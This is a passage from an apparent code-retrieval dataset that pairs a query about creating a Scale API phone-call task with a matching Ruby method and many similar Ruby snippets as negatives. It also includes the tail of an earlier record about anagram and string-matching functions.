"def rhyme?(a,b)\n as = a.gsub /\\W/,\"\"\n bs = b.gsub /\\W/,\"\"\n as.to_phrase.rhymes.flatten.join(\", \").include?(bs.to_phrase.rhymes.flatten.join(\", \")) &&\n (as.length + bs.length < 140)\nend",
"def scramble(str1, str2)\n str1_chars = str1.chars\n str2_chars = str2.chars\n\n str2_chars.all? do |char|\n str1_chars.count(char) >= str2_chars.count(char)\n end\nend",
"def match(array_of_words)\n matches = [] #Flag\n anagram_execute = anagram.split(//)\n anagram_execute = anagram_execute.sort!\n array_of_words.each do |possible_match|\n array_of_letters = possible_match.split(//)\n array_of_letters = array_of_letters.sort!\n matches << possible_match if array_of_letters == anagram_execute\n #use truncated, cleaner if statement\n end\n matches #return the matches array\n end",
"def sentence_commonality(sentence)\n probability_of_ngrams(common_ngrams_from_sentence(sentence))\n end",
"def first_anagram(word1, word2) #the worst \r\n word1.chars.permutation.to_a.any? { |sub| sub.join == word2 } \r\nend",
"def third_anagram?(word1, word2)\n word1_chars = word1.split(\"\").sort\n word2_chars = word2.split(\"\").sort\n word1_chars == word2_chars\n\nend",
"def one_away?(first, second)\n # O(1)\n strings = [first, second].sort_by { |string| string.length}\n # O(2N) = O(N)\n strings = strings.map { |string| string.split('') }\n action_taken = false\n dif = strings[1].count - strings[0].count\n\n return false if dif < 0 || dif > 1\n\n # O(N)\n strings[1].each_with_index do |base, index|\n index = index - 1 if action_taken && dif == 1\n\n if base != strings[0][index]\n return false if action_taken\n action_taken = true\n end\n end\n\n true\nend",
"def phrase_has_definitely_been_checked?(phrase, existing_article_titles)\n phrase_string = phrase.to_s\n #return false #This causes unit tests to fail\n #return existing_article_titles.any?{|existing_article_title| existing_article_title.chars.downcase.to_s.include?(phrase_string.chars.downcase)} #Unicode safe, too slow? :(\n return existing_article_titles.any?{|existing_article_title| existing_article_title.downcase.include?(phrase_string.downcase)} #Not unicode safe?\n end",
"def third_anagram?(word1, word2)\n\n word1_arr = word1.split(\"\")\n word2_arr = word2.split(\"\")\n\n word1_arr.sort == word2_arr.sort\n\nend",
"def test_small_words_within_phrase\n %w( a an and as at but by en for if in of on or the to v v. via vs vs. ).each do |word|\n \n # Test in a string\n original_str = @str.join( \" #{word} \" ) + \".\"\n assert_equal \"This #{word} Script.\", original_str.titlecase\n \n # Test with uppercase small word\n str = @str.join( \" #{word.capitalize} \" ) + \".\"\n assert_equal \"This #{word} Script.\", str.titlecase\n \n end\n end",
"def match(word_array)\n results = []\n word_array.each do |word|\n results << word if word.split(\"\").sort == @word.split(\"\").sort\n end\n results\n end",
"def substring_test(st1, st2)\n subs_st1 = []\n subs_st2 = []\n sub_length = 2\n\n loop do\n st1.downcase.chars.each_cons(sub_length) { |cons| subs_st1 << cons }\n sub_length += 1\n break if sub_length > st1.size\n end\n\n sub_length = 2\n\n loop do\n st2.downcase.chars.each_cons(sub_length) { |cons| subs_st2 << cons }\n sub_length += 1\n break if sub_length > st2.size\n end\n\n subs_st1.any? { |substr| subs_st2.include?(substr) }\nend",
"def third_anagram?(word1, word2)\n first = word1.chars.sort.join(\"\")\n second = word2.chars.sort.join(\"\")\n\n p first == second \nend",
"def group_consistent_answers(group)\n group_member_count = group.lines.count\n unique_chars = group.chars.uniq.select{|char| /[a-z]/.match?(char)}\n unique_chars.select{|char| group.count(char) == group_member_count}.length\nend",
"def anagrams?(str1, str2)\n return false unless str1.length == str2.length\n\n str1.each_char do |chr|\n return false unless str2.count(chr) == str1.count(chr)\n end\n\n true\nend",
"def compare_strings(string1, string2)\n\n\tcount = 0\n\tstring1.chars.each_index do |i|\n\t\tcount += 1 if string1[i] != string2[i]\n\tend\n\n\treturn count == 1\n\nend",
"def anagrams?(word1, word2)\n\n # let's use hash count \n counter1 = Hash.new(0)\n\n word1.each_char do |char|\n counter1[char] += 1\n end \n \n counter2 = Hash.new(0)\n word2.each_char do |char|\n counter2[char] += 1\n end \n\n if counter1 == counter2\n return true \n end \n\n return false\nend",
"def scramble(str1, str2)\n str2.chars.all? do |char|\n str1.count(char) >= str2.count(char)\n end\nend",
"def are_anagrams?(str1, str2)\n # if different length, then can't possibly match\n return false if str1.length != str2.length\n\n str1_arr = str1.split('').sort\n str2_arr = str2.split('').sort\n 0.upto(str1_arr.length-1) do |i|\n return false if str1_arr[i] != str2_arr[i]\n end\n true\nend",
"def contains_anagrams?(words)\n (0...words.length).any? do |i|\n (i + 1...words.length).any? do |j|\n anagram?(words[i], words[j])\n end\n end\nend",
"def one_away(str1, str2)\n if str1.length > str2.length\n longer = str1.length\n else\n longer = str2.length\n end\n\n different_counter = 0\n i = 0\n while i < longer\n if !str1[i]\n str1[i] = \" \"\n end\n\n if !str2[i]\n str2[i] = \" \"\n end\n\n if str1[0] != str2[0]\n different_counter += 1\n if different_counter > 1\n return false\n end\n end\n i += 1\n end\n\n true\nend",
"def third_anagram?(word1, word2)\n word1.chars.sort == word2.chars.sort #sort is quicksort under the hood so O(n^2) worst case, average case O(n log n)\nend",
"def find_relevant(sentences, input)\n relevant = []\n slightly_relevant = []\n\n tokenized = NLP.tokenize(input).map(&:downcase)\n \n if sentences.equal?(@sentences)\n sentences = []\n tokenized.each do |token|\n next if @tikis_downcase[token].nil?\n @tikis_downcase[token].each do |tiki|\n next if tiki.nil?\n next if @unigrams[tiki].nil?\n @unigrams[tiki].each do |ref|\n sentences << @sentences[ref[0]]\n end\n end\n end\n elsif sentences.equal?(@mentions)\n sentences = []\n tokenized.each do |token|\n next if @tikis_downcase[token].nil?\n @tikis_downcase[token].each do |tiki|\n next if tiki.nil?\n next if @mention_unigrams[tiki].nil?\n @mention_unigrams[tiki].each do |ref|\n sentences << @mentions[ref[0]]\n end\n end\n end\n end\n\n sentences.each do |sent|\n tokenized.each do |token|\n if sent.map { |tiki| @tokens[tiki].downcase }.include?(token)\n relevant << sent unless NLP.stopword?(token)\n slightly_relevant << sent\n end\n end\n end\n\n [relevant, slightly_relevant, tokenized]\n end",
"def third_anagram?(str1, str2)\n sorted1 = str1.split(\"\").sort.join #O(n + nlogn + n) => O(nlogn)\n sorted2 = str2.split(\"\").sort.join #O(n + nlogn + n) => O(nlogn)\n\n sorted1 == sorted2 #O(1)\nend",
"def pal_perm?(string)\n # O(N + N) = O(N)\n string = string.downcase.split('')\n # O(N)\n string.delete(' ')\n solo_allowed = string.count.odd?\n\n # O(N + N) = O(N)\n string.group_by { |letter| letter }.each do |letter, instances|\n if instances.count.odd?\n return false if !solo_allowed\n solo_allowed = false\n end\n end\n\n return true\nend",
"def probable_matching(ingredient_long_name,item)\n return (item.downcase.split(\" \") & ingredient_long_name.split(\" \")).size >= 2\nend",
"def third_anagram?(str1,str2) #O(n^2) ~ O(nlogn)\n str1.split('').sort == str2.split('').sort\nend",
"def love_test(s, t)\n e = []\n m = s.gsub(\" \",\"\").split(\"\") + t.gsub(\" \",\"\").split(\"\")\n e << s.gsub(\" \",\"\").split(\"\").uniq\n e << t.gsub(\" \",\"\").split(\"\").uniq\n l = e.flatten.group_by(&:itself).map { |i, d| [i, d.count]}.to_h\n k = l.keep_if{ |k, v| v > 1}\n print (m.size/k.size)\nend",
"def solved? (guesses, word)\n\tsolved = true\n\thits = []\n\tword.length.times do |i|\n\t\thits << word[i]\n\tend\n\thits.each do |hit|\n\t\tunless guesses.include? hit\n\t\t\tsolved = false\n\t\tend\n\tend\n\tsolved\n\n\n\t\nend",
"def anagrams?(s1, s2)\n return false if s1.downcase == s2.downcase\n \n a1 = s1.downcase.delete(' ').chars.sort\n a2 = s2.downcase.delete(' ').chars.sort\n\n a1 == a2\nend",
"def repeating_pair?(text)\n text.match(/(\\w{2})\\w*\\1/) ? true : false\nend"
] |
[
"0.69401675",
"0.6727691",
"0.6596002",
"0.658769",
"0.65419126",
"0.6508416",
"0.6435602",
"0.64097345",
"0.64027095",
"0.6395559",
"0.63883406",
"0.6387713",
"0.6381688",
"0.6365369",
"0.63397217",
"0.63150173",
"0.63077605",
"0.6295656",
"0.628425",
"0.6275146",
"0.6269561",
"0.6255749",
"0.625218",
"0.62505335",
"0.6244617",
"0.6236431",
"0.6218827",
"0.6217203",
"0.6201488",
"0.61987495",
"0.6198436",
"0.6190081",
"0.61765504",
"0.6165936",
"0.61637926",
"0.61630845",
"0.61581707",
"0.6155007",
"0.61518633",
"0.6149548",
"0.6131507",
"0.6130646",
"0.61305076",
"0.61305076",
"0.6123684",
"0.6117045",
"0.61145407",
"0.6112287",
"0.6112287",
"0.6112287",
"0.61085844",
"0.61080873",
"0.61057127",
"0.6090648",
"0.60873014",
"0.6072616",
"0.60724956",
"0.60567796",
"0.60553485",
"0.60463196",
"0.6043603",
"0.60413194",
"0.60400397",
"0.60319674",
"0.6029917",
"0.60297626",
"0.6025206",
"0.60231423",
"0.60226655",
"0.6022222",
"0.6020491",
"0.6017683",
"0.6014348",
"0.6012654",
"0.60120094",
"0.60108113",
"0.60070086",
"0.60037875",
"0.59965265",
"0.59940094",
"0.59908456",
"0.5989892",
"0.59873325",
"0.5986662",
"0.59847116",
"0.5982955",
"0.5978006",
"0.5970465",
"0.59676415",
"0.5961354",
"0.5960685",
"0.59601253",
"0.5959697",
"0.595361",
"0.5948245",
"0.5947972",
"0.5946614",
"0.59387386",
"0.5937633",
"0.5930184"
] |
0.6578527
|
4
|
Called before a task is created, sends a request to the Scale API
|
def create_task
#Assign url
url="https://api.scaleapi.com/v1/task/phonecall"
#Auth credentials setup
auth = {:username=>ENV["SCALE_API_KEY"], :password=>""}
#Assign headers
headers = {"Content-Type"=>"application/json"}
#Create payload
params = {callback_url: 'https://mysterious-ridge-35983.herokuapp.com/survey_callback',
instruction: "Call this person and ask him his calorie counts for yesterday and the number of coffees he drank. Then, ask him if he took his morning and evening medications.",
script: "Hey! (pause) How many calories did you eat yesterday? (pause) What about protein grams (pause)?"\
" What about carbohydrate grams (pause)? What about fat grams (pause)? What about fiber grams (pause)?"\
" How many coffees did you drink (pause)? Did your take your morning and evening meds (pause)?",
phone_number: ENV["PHONE_NUMBER"],
entity_name: ENV["OWNER_NAME"],
fields: { total_calories: 'Total Calories',
protein_grams: 'Protein Grams',
carbohydrate_grams: 'Carbohydrate Grams',
fiber_grams: 'Fiber Grams',
fat_grams: 'Fat Grams',
number_of_coffees: 'Coffees per Day'},
urgency: "immediate",
choices: ['only_took_morning_meds', 'only_took_evening_meds', 'took_both_morning_and_evening','no_meds_taken']}
#Send request
begin
request=HTTParty.post(url,:basic_auth=>auth, :headers=> headers, :body=>params.to_json)
#Receive request and store response
self.scale_api_id=request["task_id"]
self.json_data=JSON.dump(request)
rescue
#If there's an error, raise an exception to prevent DailySurvey object being created
raise "Bad Scale API request"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n GpsJob.perform_later(request_params)\n head(:ok)\n end",
"def tasks\n uri = URI(BASE_URL + TASKS_ENDPOINT)\n\n make_request(uri)\n end",
"def create\n @task = Task.new(task_state: TaskState.where(name: \"Pending\")[0] )\n\n if params[:all]\n # get task IDs from system, map to strings\n @task.concrete_package_versions << System.find(params[:system_id]).concrete_package_versions.where(concrete_package_state: ConcretePackageState.first ) #TODO: centralised state manager\n else\n # get task IDs from submitted array\n if params[:updates]\n params[:updates].each do |updateID|\n @task.concrete_package_versions << ConcretePackageVersion.find( updateID )\n end\n end\n end\n\n if ( ConcretePackageState.exists?(name: \"Queued for Installation\") )\n stateQueued = ConcretePackageState.where(name: \"Queued for Installation\")[0]\n @task.concrete_package_versions.each do |update|\n update.concrete_package_state = stateQueued\n update.save()\n end\n end\n\n @task.tries = 0\n @task.save\n\n if current_user\n @job = Job.new(user: current_user,\n started_at: Time.new)\n @job.tasks << @task\n @job.save\n\n BackgroundSender.perform_async( @task )\n\n redirect_to @job\n else\n #TODO: log!\n end\n\n end",
"def task\n end",
"def pre_task\n end",
"def start\n service.pool_action uuid, :create\n end",
"def initialize(task)\n super()\n @task= task \n end",
"def create\n @task = Task.new(task_params)\n\t\t\n\t\t# Assume none are taken at creation...\n\t\t@task.taken = 0\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @task = Task.new(task_params)\n @task.start\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to tasks_url, notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_task(task_name)\n unless File.exist? \"app/scheduled_jobs/#{task_name}.rb\"\n raise \"Task #{task_name} does not exist!\"\n end\n url = \"http://localhost:#{server_port}/tasks/#{task_name}\"\n command \"/usr/bin/curl #{url} -X POST\"\nend",
"def create_tasks_api\n InfluxDB2::API::TasksApi.new(@api_client)\n end",
"def prepare_task\n end",
"def start_instance\n @instance = Task.find(@task).instances.create\n end",
"def create\n Rails.logger.info(scrapping_task_params)\n @scrapping_task = ScrappingTask.new(scrapping_task_params)\n\n respond_to do |format|\n if @scrapping_task.save\n ScrapeProviderSitesJob.perform_later(@scrapping_task.reload.id)\n format.html { redirect_to @scrapping_task, notice: 'Scrapping task was successfully created.' }\n format.js { render :show }\n else\n format.html { render :new }\n format.js\n end\n end\n end",
"def run_task(_task, _args)\n invoke(\"#{name}:upload\")\n end",
"def start\n TaskScheduler.add_task(self)\n end",
"def set_task\n @task = Task.find_by(id: params[:id])\n unless @task\n render json: { error: I18n.t('task.callbacks.set_task') }, status: 400\n end \n end",
"def perform_task\n # actually do the work\n end",
"def create\n\n @task = Task.new(task_params)\n\n respond_to do |format|\n if @task.save\n @task.send_slack\n format.html { redirect_to @task, notice: t('task.successfully-created') }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n task = Task.new(task_params)\n if task.save\n render json: task, status: :created\n else\n render_errors(task)\n end\n end",
"def create\n @task = Task.new(task_params)\n @task.save\n render json: full_task(@task)\n end",
"def create\n\t\tformat_task_attributes(task_params)\n\t\t@task =Task.new(@updated_params)\n\t\tlogger.debug \"Created Task #{@task}\"\n\t\t@task.user = current_user\n\t\tauthorize! :create, @task\n\t\t@task.is_completed=false\n\t\tsave_task\n\tend",
"def post_task\n end",
"def create\n @task = Task.new(task_params)\n\n if @task.save\n render json: @task, status: :created\n else\n render json: @task.errors, status: :unprocessable_entity\n end\n end",
"def start\n if not @task.can_start?\n Log.create(message: \"Task: #{task.inspect!} can not started\",\n status: \"warn\",\n subject: \"TasksController::start\")\n redirect_to task_path(@task), alert: \"Task can not be started\"\n else\n TaskManager.delay(:queue => 'task')\n .start(@task.id, current_user.id)\n @task.start\n redirect_to task_path(@task), notice: \"Task be started ...\"\n end\n end",
"def set_api_v1_task\n @api_v1_task = Task.find(params[:id])\n end",
"def create_task(options = {})\n request(:post, \"tasks\", options)\n end",
"def perform\n # used to make request to get data from AWS API\n response = CurlRequest.new(URL).post\n Rails.logger.info \"==============#{response}============\"\n body = JSON.parse(response.body)\n\n # Calling Service to create data in the database from AWS response\n data = CreateData.new(body)\n data.execute\n end",
"def create\n @task = Task.new(task_params)\n update_init(@task)\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n else\n format.html { render action: 'new' }\n end\n end\n end",
"def create\n @task = Task.create!(task_params)\n end",
"def set_task\n @service = Service.find(params[:id])\n end",
"def set_simple_task\n @simple_task = SimpleTask.find(params[:id])\n end",
"def create\n @task = Task.new do |t|\n t.title = params[:title]\n t.picture = params[:picture]\n t.description = params[:description]\n t.color = params[:color]\n t.date = params[:date]\n t.order = params.has_key?(:order) ? params[:order] : 0\n end\n\n if @task.save\n render json: @task, status: :created, location: @task\n else\n render json: @task.errors, status: :unprocessable_entity\n end\n end",
"def create\n @api_task = Api::Task.new(api_task_params)\n\n respond_to do |format|\n if @api_task.save\n format.html { redirect_to @api_task, notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @api_task }\n else\n format.html { render :new }\n format.json { render json: @api_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @task = Task.new(task_params)\n @task.save\n end",
"def backend_addTask(param) \n @Tasks.push(param) \n end",
"def initialize(task)\n @task = task\n end",
"def set_slab_project_task \n @slab_project_task = SlabProjectTask.find(params[:id])\n rescue \n render :json => {errors: [\"No Task for id #{params[:id]}\"]}\n end",
"def run\n super\n\n # Sleep if this option was supplied\n sleep(_get_option(\"sleep\"))\n\n # Generate a number of hosts based on the user option\n _get_option(\"count\").times do\n\n #\n # Generate a fake IP address\n #\n ip_address = \"#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}\"\n @task_log.log \"Randomly generated an IP address: #{ip_address}\"\n\n #\n # Create & return the entity\n #\n _create_entity(\"IpAddress\", {:name => ip_address })\n end\n\n end",
"def start\n request = Request.find(params[:id])\n request.status_started!\n flash[:notice] = \"Request started\"\n redirect_to new_distribution_path(request_id: request.id)\n end",
"def create\n @default_task = DefaultTask.new(params[:default_task])\n\n if @default_task.save\n render json: @default_task, status: :created, location: @default_task\n else\n render json: @default_task.errors, status: :unprocessable_entity\n end\n end",
"def create\n task = Task.new(task_params)\n task.save ? respond_with(task) : false\n end",
"def run\n super\n\n config = _get_task_config \"control/collection_processor\"\n\n @sqs = Aws::SQS::Client.new({\n region: 'us-east-1',\n access_key_id: config[\"aws_access_key\"],\n secret_access_key: config[\"aws_secret_access_key\"]\n })\n\n @control_queue_uri = config[\"control_queue_uri\"]\n @status_queue_uri = config[\"status_queue_uri\"]\n sleep_interval = config[\"sleep\"] || 10\n max_seconds = config[\"max_seconds\"] || 36000\n\n handler = config[\"handler\"]\n\n # connect to the configured amazon queue & Grab one\n _set_status :available, nil\n instruction_data = nil\n iteration = 0\n while true\n\n # loop until we have something\n while !instruction_data\n\n _log \"Attempting to get an instruction from the queue!\"\n instruction_data = _get_queued_instruction # try again\n\n # kick it off if we got one, and break out of this loop\n if instruction_data\n _log \"[+] Executing #{instruction_data[\"id\"]} for #{sleep_interval} seconds! (expire in: ~#{max_seconds - (iteration * sleep_interval) }s)\"\n _set_status :start, \"#{instruction_data[\"id\"]}\"\n _execute_instruction(instruction_data)\n else\n _log \"Nothing to do, waiting!\"\n sleep sleep_interval\n end\n\n end\n\n # hold tight\n sleep sleep_interval\n\n # determine how we're doing\n task_count_left = _tasks_left\n seconds_elapsed = iteration * sleep_interval\n done = (iteration > 10 && task_count_left == 0 ) || (seconds_elapsed > max_seconds)\n\n _log \"Seconds elapsed: #{seconds_elapsed}\" if iteration % 10 == 0\n _log \"Tasks left: #{task_count_left}\" if iteration % 10 == 0\n\n if done\n _log_good \"Done with #{instruction_data[\"id\"]} after #{seconds_elapsed}s\"\n _set_status :end, {\n \"id\" => \"#{instruction_data[\"id\"]}\",\n \"elapsed\" => \"#{seconds_elapsed}\",\n \"entities\" => \"#{Intrigue::Model::Project.first(:name => instruction_data[\"id\"]).entities.count}\"\n }\n\n _log_good \"#{instruction_data[\"id\"]}\"\n _run_handlers instruction_data\n _set_status :sent, \"#{instruction_data[\"id\"]}\"\n\n instruction_data = nil\n iteration = -1\n\n end\n\n iteration +=1\n end\n\n end",
"def set_task\n @task = Task.find_by!(uuid: params[:id])\n end",
"def request!\n PoolNode.create_or_get(@id, node)\n end",
"def create\n @task = Task.new(task_params)\n\n if @task.save\n render :show, status: :created, location: @task\n else\n render json: @task.errors, status: :unprocessable_entity\n end\n end",
"def create\n @task = Task.new(task_params)\n\n if @task.save\n render json: @task, serializer: TaskSerializer\n else\n render json: { error: t('task_create_error') }, status: :unprocessable_entity\n end\n end",
"def set_api_task\n @api_task = Api::Task.find(params[:id])\n end",
"def start()\n raise ValidateError.new(\"#{full_name} not validated.\") unless @prepared\n @tasks.each_value { |task| task.start() }\n end",
"def create\n @task = Task.new(task_params)\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n if @task.image?\n cloudinary = Cloudinary::Uploader.upload(params[:task][:image])\n @task.update :image => cloudinary['url']\n end\n end",
"def initialize\r\n load_tasks\r\n end",
"def run\n super\n\n entity_name = _get_entity_name\n entity_type = _get_entity_type_string\n\n # Make sure the key is set\n api_key = _get_task_config(\"spyse_api_key\")\n # Set the headers\n headers = {\"api_token\" => api_key}\n\n # Returns aggregate information by subdomain word : total count of subdomains, list of IPs of subdomains and subdomain count on every IP,\n # list of countries and subdomain count from it, list of CIDRs /24, /16 and subdomain list on every CIDR.\n if entity_type == \"String\"\n url = \"https://api.spyse.com/v1/domains-starts-with-aggregate?sdword=#{entity_name}\"\n get_subdomains entity_name, api_key, headers, url\n\n # Returns aggregate information by domain: total count of subdomains, list of IPs of subdomains and subdomain count on every IP,\n # list of countries and subdomain count from it, list of CIDRs /24, /16 and subdomain list on every CIDR.\n elsif entity_type == \"Domain\"\n url = \"https://api.spyse.com/v1//subdomains-aggregate?domain=#{entity_name}\"\n get_subdomains entity_name, api_key, headers, url\n\n else\n _log_error \"Unsupported entity type\"\n end\n\n end",
"def create\n #@task = Task.new(task_params)\n task = @task_list.tasks.create!(task_params)\n render json: task\n end",
"def create\n @task = Task.create!(params[:task])\n @task.complete = 0\n if @task.save\n \t#logger.debug \"New task: #{@task.attributes.inspect}\"\n \trespond_to do |format|\n \t\tformat.html {redirect_to tasks_url, notice: 'Task was successfully created.' }\n \t\tformat.js\n \tend\n end\n end",
"def add task_details\n\n #prepare payload\n now = Time.now.to_i \n defaults = {\n \"method\" => \"task.save\",\n \"id\" => UUID.generate,\n \"type\" => 0,\n \"_type\" => now,\n \"state\" => 0,\n \"_state\" => now,\n }\n\n task = defaults.merge(task_details)\n self.post [task].to_json\n end",
"def do_task_work\n @web.add_status( @thing, @statusUpdates )\n end",
"def run\n super\n # Get entity name\n ssl_certificate = _get_entity_name[/\\(([^()]*)\\)/, 1]\n\n # Make sure the key is set\n api_key = _get_task_config('spyse_api_key')\n # Set the headers\n headers = { 'Accept' => 'application/json', 'Authorization' => \"Bearer #{api_key}\" }\n\n # Set the headers\n url = \"https://api.spyse.com/v4/data/certificate/#{ssl_certificate}\"\n\n # make the request\n response = http_request(:get, url, nil, headers)\n\n # Check response code status\n if response.code.to_i == 200\n # Parse json response\n json = JSON.parse(response.body)\n\n ## Create entities\n if json['data']['items']\n json['data']['items'].each do |result|\n # Check whether it is a wildcard certificate or not\n if (result['parsed']['names']).count > 1\n # Extract list of domains sharing the same certificate\n list_of_domains_sharing_same_certificate = result['parsed']['names']\n # Extarct certificate experation date\n end_date = result['parsed']['validity']['end']\n # Extract certificate algorithm\n algorithm = result['parsed']['signature_algorithm']['name']\n # Extract certificate serial number\n serial = result['parsed']['serial_number']\n # Create entity with spyse data\n _create_entity('SslCertificate', {\n 'name' => ssl_certificate,\n 'not_after' => end_date,\n 'serial' => serial,\n 'algorithm' => algorithm,\n 'list_of_domains_sharing_same_certificate' => list_of_domains_sharing_same_certificate\n })\n end\n\n # Create DnsRecord from domains registered with same certificate\n if result['parsed']['names']\n result['parsed']['names'].each do |domain|\n _create_entity('DnsRecord', { 'name' => domain })\n end\n end\n # Create organizations related to the certificate\n if result['parsed']['subject']['organization']\n result['parsed']['subject']['organization'].each do |organization|\n _create_entity('Organization', { 'name' => organization })\n end\n end\n end\n end\n else\n _log_error \"unable to fetch response => error code: #{response.code}!\"\n end\n end",
"def create\n @task = TaskTracker::Task.new(task_params)\n @task.fractal_interface = @user.task_tracker_interface\n\n if @task.save\n render :show, status: :created, location: @task\n else\n render json: @task.errors, status: :unprocessable_entity\n end\n end",
"def create\n super do |resource|\n BackgroundWorker.trigger(resource)\n\n end\n end",
"def create\n \n @task = params[:task] ? Task.create(params[:task]) : Task.create(:description=>params[:description], :isDone=>params[:isDone], :order=>params[:order] )\n respond_with(@task)\n \n end",
"def create\n @slab_project_task = SlabProjectTask.new(slab_project_task_params)\n @slab_project_task.status = \"InProgress\"\n\n p params\n c = { message: \"Created\" }\n \n respond_to do |format|\n if @slab_project_task.save\n format.html { redirect_to @slab_project_task, notice: \"Slab project task was successfully created.\" }\n format.json { render :show, status: :created, location: @slab_project_task }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @slab_project_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_tasks_with_http_info(task_payload, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DevicesManagementApi.create_tasks ...\"\n end\n # verify the required parameter 'task_payload' is set\n fail ArgumentError, \"Missing the required parameter 'task_payload' when calling DevicesManagementApi.create_tasks\" if task_payload.nil?\n # resource path\n local_var_path = \"/devicemgmt/tasks\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(task_payload)\n auth_names = ['artikcloud_oauth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TaskEnvelope')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DevicesManagementApi#create_tasks\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @task = Task.new(params[:task])\n @task.autor = @staff_login.id\n @task.from_userid = @staff_login.id\n @task.current_staff = @staff_login\n @client = Client.find(params[:task][:cl_id])\n @task.name = @client.address if @task.name.empty?\n @task.status = \"new\" if @task.status.nil?\n @task.time_create = Time.now.getlocal\n @task.point_group = Task.maximum('point_group').to_i+1 if @task.point_group.nil? || @task.point_group.to_s.empty?\n @task.zapros_gid = Task.maximum('zapros_gid').to_i+1 if @task.zapros_gid.nil? || @task.zapros_gid.to_s.empty?\n @task.target = if @task.target.empty? || (@task.target=~/[\\d]+/).nil?\n \"0\"\n else\n /([\\d]+)/.match(@task.target)[1]\n end\n respond_to do |format|\n\t\tTask.transaction do\n\t\t\tbegin\n\t\t\t\t@task.save\n\t\t\t\tif @task.type_t == 'upgrade'\n\t\t\t\t\tif (shema = Task.where(point_group: @task.point_group, type_t: 'shem').first) != nil\n\t\t\t\t\t\tshema.update_attributes({status: 'run',target: @task.target})\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tformat.html { redirect_to \"/tasks/?cl_id=#{@client.id}\", notice: 'Task was successfully created.' }\n\t\t\t\tformat.json { render json: @task, status: :created, location: @task }\n\t\t\trescue\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @task.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend\n end",
"def add_user_task\n task = Task.create(task_params)\n puts \"New task: #{task}\"\n if task\n render json: {task: task}\n else\n render json: task.error.full_messages, status: 402\n end\n end",
"def create\n @scheduled_task = ScheduledTask.new(params[:scheduled_task])\n p = params[:scheduled_task]\n d = DateTime.new(p[\"next_run(1i)\"].to_i, p[\"next_run(2i)\"].to_i, p[\"next_run(3i)\"].to_i, p[\"next_run(4i)\"].to_i, p[\"next_run(5i)\"].to_i)\n @scheduled_task.next_run = d\n\n respond_to do |format|\n if @scheduled_task.save\n format.html { redirect_to @scheduled_task, notice: 'Scheduled task was successfully created.' }\n format.json { render json: @scheduled_task, status: :created, location: @scheduled_task }\n else\n format.html { render action: \"new\" }\n format.json { render json: @scheduled_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @datasource = DisDatasource.new(datasource_params)\n\n\n if @datasource.save\n flash[:notice] = \"Task was successfully created.\"\n respond_with(@datasource)\n else\n flash[:notice] = \"Task was not created.\"\n end\n end",
"def run\n\t super\n\t\tputs \"Example Task Run Called\"\n\t\tip = \"#{rand(100)}.#{rand(100)}.#{rand(100)}.#{rand(100)}\"\n\t\tx = create_object Device, { :ip_address => ip }\n\t\tnil\n\tend",
"def create_task name, url, cron, enabled = nil, timeout = nil, mail_when_success = false, mail_when_failure = false, timezone = nil\n connection.create_task(id, name, url, cron, enabled, timeout, mail_when_success, mail_when_failure, timezone)\n end",
"def create\n flash[:notice] = \"Task was successfully created.\" if task.save\n respond_with(task)\n end",
"def create\n # 'params_task' returns the value that is authorized by this function\n # rails in default blocks any modifications so we have to give this access\n @task = Task.new(task_params)\n @task.save\n # we don't want to go to a kind of 'create's page' so we are redirecting to\n # out root page\n redirect_to tasks_path(@task)\n end",
"def execute\n new_task = Task.new(new_task_attributes)\n assign_location(new_task)\n new_task\n end",
"def create\n # raise params.inspect\n @task = Task.new(task_params)\n if @task.save\n redirect_to tasks_url\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n\n end\n end",
"def create\n @task = current_user.tasks.build(task_params)\n command = Tasks::Create.call(@task)\n\n respond_to do |format|\n if command.success?\n # TODO: Move messages to en.yml and use I18n\n format.html { redirect_to @task, notice: \"Task was successfully created.\" }\n else\n format.html { render :new, status: :unprocessable_entity }\n end\n end\n end",
"def perform\n super\n end",
"def perform\n super\n end",
"def perform\n super\n end",
"def perform\n super\n end",
"def perform\n super\n end",
"def perform\n super\n end",
